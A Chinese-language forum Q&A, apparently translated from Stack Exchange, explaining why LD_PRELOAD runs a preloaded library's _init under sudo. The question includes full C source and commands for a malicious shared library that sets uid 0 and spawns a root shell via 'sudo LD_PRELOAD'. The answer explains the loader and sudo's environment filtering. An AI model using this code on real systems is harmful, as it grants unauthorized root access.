LD_PRELOAD 和動態連結器
因此,我一直在閱讀有關動態襯裡 (dl) 的預載入功能以及如何使用 LD_PRELOAD env 變數載入使用者指定的共享庫 (.so),然後再連結到所有其他共享庫執行檔將被載入。我在特權升級的背景下閱讀它。讓我們想知道為什麼對應用程序試圖載入的內容沒有任何控制?
我創建並編譯了以下程式碼:
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
如果我再執行
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
一個 root shell 就會產生。我知道我可以像圖片上看到的那樣執行find
,sudo
但我不明白為什麼當我的假共享庫中不需要該函式時呼叫該函式find
?或者,連結器只是在 env 變數中載入指定的庫,而不檢查應用程序是否需要它?如果有人可以回答以消除我的困惑,我會很棒。
謝謝!
是不是,連結器只是在 env 變數中載入指定的庫而不檢查應用程序是否甚至需要它?
是的,這就是重點
LD_PRELOAD
:那裡列出的庫是在程序之前載入的。LD_PRELOAD
是一種改變程序行為的方法。為什麼我的假共享庫中的函式在 find 中不需要該函式時被呼叫?
_init
在程序啟動的早期執行。動態載入器呼叫它。它不是從 find 的原始碼中顯式呼叫的。參見例如A General Overview of What Happens Before main()或Linux x86 Program Start Up或How main() is executed on Linux。如果您預先載入了一個永遠不會被呼叫的函式的定義,那麼您的定義就無關緊要了。
我想知道為什麼對應用程序試圖載入的內容沒有任何控制?
通常使用者可以隨心所欲地執行。使用者執行的所有程式碼都以該使用者的權限執行。只有在特權提升時才需要控制。
Sudo 允許提升權限。因此,它通常禁止允許使用者執行管理員在配置 sudo 規則時可能不想要的事情的功能。特別是, sudo 禁止大多數環境變數,尤其是
LD_LIBRARY_PATH
和LD_PRELOAD
. 您正在使用具有易受攻擊的 sudo 配置的系統。這是出於展示目的。